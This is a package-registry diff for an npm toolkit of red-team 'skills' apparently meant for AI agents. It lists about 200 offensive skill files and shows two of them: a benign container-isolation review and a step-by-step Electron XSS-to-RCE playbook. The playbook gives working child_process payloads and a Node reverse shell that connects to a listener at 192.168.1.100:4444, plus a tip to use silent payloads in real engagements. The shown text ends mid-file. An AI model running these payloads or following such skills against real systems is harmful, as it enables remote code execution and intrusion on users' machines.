rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-c005
|
|
3
|
+
description: "C-005: Container workload isolation and host-impact risk assessment. Domain: cloud. Authorized scenario for privileged containers, host mounts, Kubernetes RBAC, cloud identity, and remediation."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# C-005: Container Isolation and Host Impact Risk
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Container compromise becomes critical when workloads are privileged, have host mounts, share host namespaces, use powerful service accounts, or can reach cloud metadata. This scenario evaluates whether container-level access can become host, cluster, or cloud-level impact.
|
|
11
|
+
|
|
12
|
+
| Field | Value |
|
|
13
|
+
|---|---|
|
|
14
|
+
| Domain | Cloud / Containers |
|
|
15
|
+
| Objective | Assess container escape and blast radius risk |
|
|
16
|
+
| Required Access | Cluster read access or approved workload manifest review |
|
|
17
|
+
| Detection Risk | Low for review, High for active escape testing |
|
|
18
|
+
| Primary Impact | Host, cluster, or cloud account compromise |
|
|
19
|
+
|
|
20
|
+
## Prerequisites
|
|
21
|
+
|
|
22
|
+
- Cluster, namespace, and workload scope.
|
|
23
|
+
- Approved kubeconfig/cloud role.
|
|
24
|
+
- Test namespace for active validation if needed.
|
|
25
|
+
- No production escape attempts unless explicitly authorized and isolated.
|
|
26
|
+
|
|
27
|
+
## Risk Indicators
|
|
28
|
+
|
|
29
|
+
- `privileged: true`.
|
|
30
|
+
- Host filesystem mounts.
|
|
31
|
+
- Host PID/IPC/network namespaces.
|
|
32
|
+
- Added dangerous Linux capabilities.
|
|
33
|
+
- Writable Docker socket.
|
|
34
|
+
- Cluster-admin service account.
|
|
35
|
+
- Metadata service reachable with powerful cloud role.
|
|
36
|
+
|
|
37
|
+
## Workflow
|
|
38
|
+
|
|
39
|
+
1. Inventory workloads and namespaces.
|
|
40
|
+
2. Review pod specs for risky isolation settings.
|
|
41
|
+
3. Review RBAC and service account tokens.
|
|
42
|
+
4. Review network policies and metadata access.
|
|
43
|
+
5. Review image provenance and secrets exposure.
|
|
44
|
+
6. Model blast radius from a compromised pod.
|
|
45
|
+
7. Recommend controls by highest break-point value.
|
|
46
|
+
|
|
47
|
+
## MITRE ATT&CK Mapping
|
|
48
|
+
|
|
49
|
+
| Phase | Tactic | Technique |
|
|
50
|
+
|---|---|---|
|
|
51
|
+
| Escape | Privilege Escalation | Escape to Host |
|
|
52
|
+
| Lateral | Lateral Movement | Container and Resource Discovery |
|
|
53
|
+
| Cloud | Credential Access | Cloud Instance Metadata API |
|
|
54
|
+
|
|
55
|
+
## Evidence
|
|
56
|
+
|
|
57
|
+
- Sanitized pod spec.
|
|
58
|
+
- RBAC summary.
|
|
59
|
+
- Service account permissions.
|
|
60
|
+
- Network policy state.
|
|
61
|
+
- Cloud role policy summary.
|
|
62
|
+
|
|
63
|
+
## Remediation
|
|
64
|
+
|
|
65
|
+
- Enforce restricted Pod Security Standards.
|
|
66
|
+
- Remove host mounts and privileged mode.
|
|
67
|
+
- Reduce Linux capabilities.
|
|
68
|
+
- Scope service accounts per workload.
|
|
69
|
+
- Add network policies.
|
|
70
|
+
- Block metadata service where unnecessary.
|
|
71
|
+
- Enable runtime detection.
|
|
72
|
+
|
|
@@ -0,0 +1,378 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-d001
|
|
3
|
+
description: "D-001: Electron App XSS → RCE via nodeIntegration. Domain: desktop. Attack chain: extract ASAR archive → find nodeIntegration: true → find XSS in embedded browser view → inject require(child_process) → OS command execution. MITRE: T1059.007 → T1059.004. Real example: Business app loads external content with nodeIntegration:true → XSS in loaded page → calc.exe on Windows"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# D-001: Electron App XSS → RCE via nodeIntegration
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
| Property | Value |
|
|
11
|
+
|---|---|
|
|
12
|
+
| Attack Objective | Achieve OS-level Remote Code Execution by exploiting XSS within an Electron app that has nodeIntegration enabled |
|
|
13
|
+
| Required Access Level | None (unauthenticated if the XSS is in externally loaded content) or Low (local app access) |
|
|
14
|
+
| Estimated Time to Execute | 30–90 minutes (depending on ASAR extraction speed and XSS surface discovery) |
|
|
15
|
+
| Detection Risk Level | Low (no network signatures during local phase; calc.exe pop is noisy — swap with a silent payload during real engagements) |
|
|
16
|
+
|
|
17
|
+
Electron apps bundle a Chromium browser and a Node.js runtime. When `nodeIntegration: true` is set in a `BrowserWindow` or `webview`, JavaScript running inside that window has full access to Node.js APIs including `require('child_process')`. A single XSS vector anywhere in the rendered HTML is sufficient for full OS command execution — no memory corruption required.
|
|
18
|
+
|
|
19
|
+
## Prerequisites
|
|
20
|
+
|
|
21
|
+
### Required Tools
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Node.js (includes npm) — needed for asar
|
|
25
|
+
node --version || winget install OpenJS.NodeJS
|
|
26
|
+
|
|
27
|
+
# asar — Electron archive tool
|
|
28
|
+
npm install -g asar
|
|
29
|
+
|
|
30
|
+
# Python 3 (optional — for quick HTTP server during payload staging)
|
|
31
|
+
python --version || winget install Python.Python.3
|
|
32
|
+
|
|
33
|
+
# strings / grep equivalent (PowerShell built-in on Windows)
|
|
34
|
+
# No additional install needed
|
|
35
|
+
|
|
36
|
+
# Optional: electron-builder for repacking
|
|
37
|
+
npm install -g electron-builder
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### Required Access or Conditions
|
|
41
|
+
|
|
42
|
+
- Read access to the target Electron application directory (e.g., `C:\Program Files\TargetApp\` or `~/.local/share/TargetApp/`)
|
|
43
|
+
- The target application must render external or user-controlled HTML content
|
|
44
|
+
- `nodeIntegration: true` must be present in the `BrowserWindow` or `webview` configuration (confirmed in step-by-step phase)
|
|
45
|
+
- Authorized penetration test engagement or isolated lab environment
|
|
46
|
+
|
|
47
|
+
### Skill Level
|
|
48
|
+
|
|
49
|
+
**INTERMEDIATE** — Requires familiarity with JavaScript, basic Electron internals, and XSS exploitation. No exploit development or memory corruption skills needed.
|
|
50
|
+
|
|
51
|
+
## Attack Chain
|
|
52
|
+
|
|
53
|
+
```
|
|
54
|
+
[1] Extract ASAR archive
|
|
55
|
+
|
|
|
56
|
+
v
|
|
57
|
+
[2] Grep source for nodeIntegration: true
|
|
58
|
+
|
|
|
59
|
+
v
|
|
60
|
+
[3] Identify XSS surface in BrowserWindow / webview content
|
|
61
|
+
|
|
|
62
|
+
v
|
|
63
|
+
[4] Craft payload: require('child_process').exec(...)
|
|
64
|
+
|
|
|
65
|
+
v
|
|
66
|
+
[5] Deliver XSS → Node.js executes OS command
|
|
67
|
+
|
|
|
68
|
+
v
|
|
69
|
+
[6] OS Command Execution (RCE)
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
**MITRE ATT&CK:**
|
|
73
|
+
- T1059.007 — Command and Scripting Interpreter: JavaScript
|
|
74
|
+
- T1059.004 — Command and Scripting Interpreter: Unix Shell / T1059.003 — Windows Command Shell (final stage depends on OS)
|
|
75
|
+
|
|
76
|
+
## Step-by-Step Execution
|
|
77
|
+
|
|
78
|
+
### Step 1 — Locate and Extract the ASAR Archive
|
|
79
|
+
|
|
80
|
+
Electron apps ship application code inside an `app.asar` archive.
|
|
81
|
+
|
|
82
|
+
```powershell
|
|
83
|
+
# Find the ASAR file (Windows example)
|
|
84
|
+
Get-ChildItem -Path "C:\Program Files" -Recurse -Filter "app.asar" -ErrorAction SilentlyContinue
|
|
85
|
+
|
|
86
|
+
# Common locations
|
|
87
|
+
# Windows: C:\Program Files\<AppName>\resources\app.asar
|
|
88
|
+
# macOS: /Applications/<AppName>.app/Contents/Resources/app.asar
|
|
89
|
+
# Linux: /opt/<appname>/resources/app.asar
|
|
90
|
+
|
|
91
|
+
# Extract the archive to a working directory
|
|
92
|
+
asar extract "C:\Program Files\TargetApp\resources\app.asar" C:\RT\d001\app-extracted
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
**Expected output:**
|
|
96
|
+
|
|
97
|
+
```
|
|
98
|
+
(no output — silent success)
|
|
99
|
+
C:\RT\d001\app-extracted\ <-- directory now populated with JS/HTML source
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
**Fallback if asar fails:**
|
|
103
|
+
```powershell
|
|
104
|
+
# Some builds use app/ folder directly (no ASAR)
|
|
105
|
+
Get-ChildItem "C:\Program Files\TargetApp\resources\" -Directory
|
|
106
|
+
|
|
107
|
+
# If ASAR is encrypted (rare), check for electron-builder config for key hints
|
|
108
|
+
Get-Content "C:\Program Files\TargetApp\resources\app.asar.unpacked\" -Recurse
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
### Step 2 — Identify nodeIntegration: true
|
|
112
|
+
|
|
113
|
+
```powershell
|
|
114
|
+
# Search all JS files for nodeIntegration
|
|
115
|
+
Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "nodeIntegration\s*:\s*true" -Recurse
|
|
116
|
+
|
|
117
|
+
# Also check for contextIsolation: false (weakens sandbox even without nodeIntegration)
|
|
118
|
+
Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "contextIsolation\s*:\s*false" -Recurse
|
|
119
|
+
|
|
120
|
+
# Check webview tags with nodeintegration attribute
|
|
121
|
+
Select-String -Path "C:\RT\d001\app-extracted\*.html" -Pattern "nodeintegration" -Recurse
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
**Expected output:**
|
|
125
|
+
|
|
126
|
+
```
|
|
127
|
+
C:\RT\d001\app-extracted\main.js:42: nodeIntegration: true,
|
|
128
|
+
C:\RT\d001\app-extracted\main.js:43: contextIsolation: false,
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
**Fallback if not found:**
|
|
132
|
+
- Search for `webPreferences` block and inspect each key manually.
|
|
133
|
+
- Check if `enableRemoteModule: true` is present — older Electron versions allow RCE via `remote.require`.
|
|
134
|
+
- Look for `nodeIntegrationInSubFrames` or `nodeIntegrationInWorker`.
|
|
135
|
+
|
|
136
|
+
### Step 3 — Identify the XSS Surface
|
|
137
|
+
|
|
138
|
+
```powershell
|
|
139
|
+
# Find all loadURL / loadFile calls — these are the content sources
|
|
140
|
+
Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "loadURL|loadFile" -Recurse
|
|
141
|
+
|
|
142
|
+
# Find webview src attributes
|
|
143
|
+
Select-String -Path "C:\RT\d001\app-extracted\*.html" -Pattern "<webview" -Recurse
|
|
144
|
+
|
|
145
|
+
# Find innerHTML assignments or other DOM sinks
|
|
146
|
+
Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "innerHTML|outerHTML|document\.write|insertAdjacentHTML" -Recurse
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
**Expected output:**
|
|
150
|
+
|
|
151
|
+
```
|
|
152
|
+
C:\RT\d001\app-extracted\renderer.js:88: document.getElementById('preview').innerHTML = userInput;
|
|
153
|
+
C:\RT\d001\app-extracted\main.js:31: win.loadURL('https://external-content.example.com');
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
Confirm the XSS sink: `innerHTML` with unsanitized user input is a direct injection point.
|
|
157
|
+
|
|
158
|
+
**Fallback if no obvious sink:**
|
|
159
|
+
- Trace data flow from IPC messages (`ipcRenderer.on`) to DOM writes.
|
|
160
|
+
- Use a local HTTP server to observe what the app fetches.
|
|
161
|
+
- Check for `eval()`, `Function()`, or `setTimeout(string)` calls.
|
|
162
|
+
|
|
163
|
+
### Step 4 — Craft the XSS → RCE Payload
|
|
164
|
+
|
|
165
|
+
The goal is to get JavaScript executing in the renderer process with Node.js access.
|
|
166
|
+
|
|
167
|
+
**Minimal proof-of-concept payload (Windows — pops calc.exe):**
|
|
168
|
+
|
|
169
|
+
```javascript
|
|
170
|
+
<img src=x onerror="require('child_process').exec('calc.exe')">
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
**Stealth payload (writes a marker file — less noisy than calc.exe):**
|
|
174
|
+
|
|
175
|
+
```javascript
|
|
176
|
+
<img src=x onerror="require('child_process').exec('cmd.exe /c echo pwned > C:\\RT\\d001\\pwned.txt')">
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
**Reverse shell payload (replace IP/port for your listener):**
|
|
180
|
+
|
|
181
|
+
```javascript
|
|
182
|
+
<img src=x onerror="
|
|
183
|
+
var net=require('net'),
|
|
184
|
+
cp=require('child_process'),
|
|
185
|
+
sh=cp.spawn('cmd.exe',[]);
|
|
186
|
+
var c=new net.Socket();
|
|
187
|
+
c.connect(4444,'192.168.1.100',function(){
|
|
188
|
+
c.pipe(sh.stdin);
|
|
189
|
+
sh.stdout.pipe(c);
|
|
190
|
+
sh.stderr.pipe(c);
|
|
191
|
+
});
|
|
192
|
+
">
|
|
193
|
+
```
|
|
194
|
+
|
|
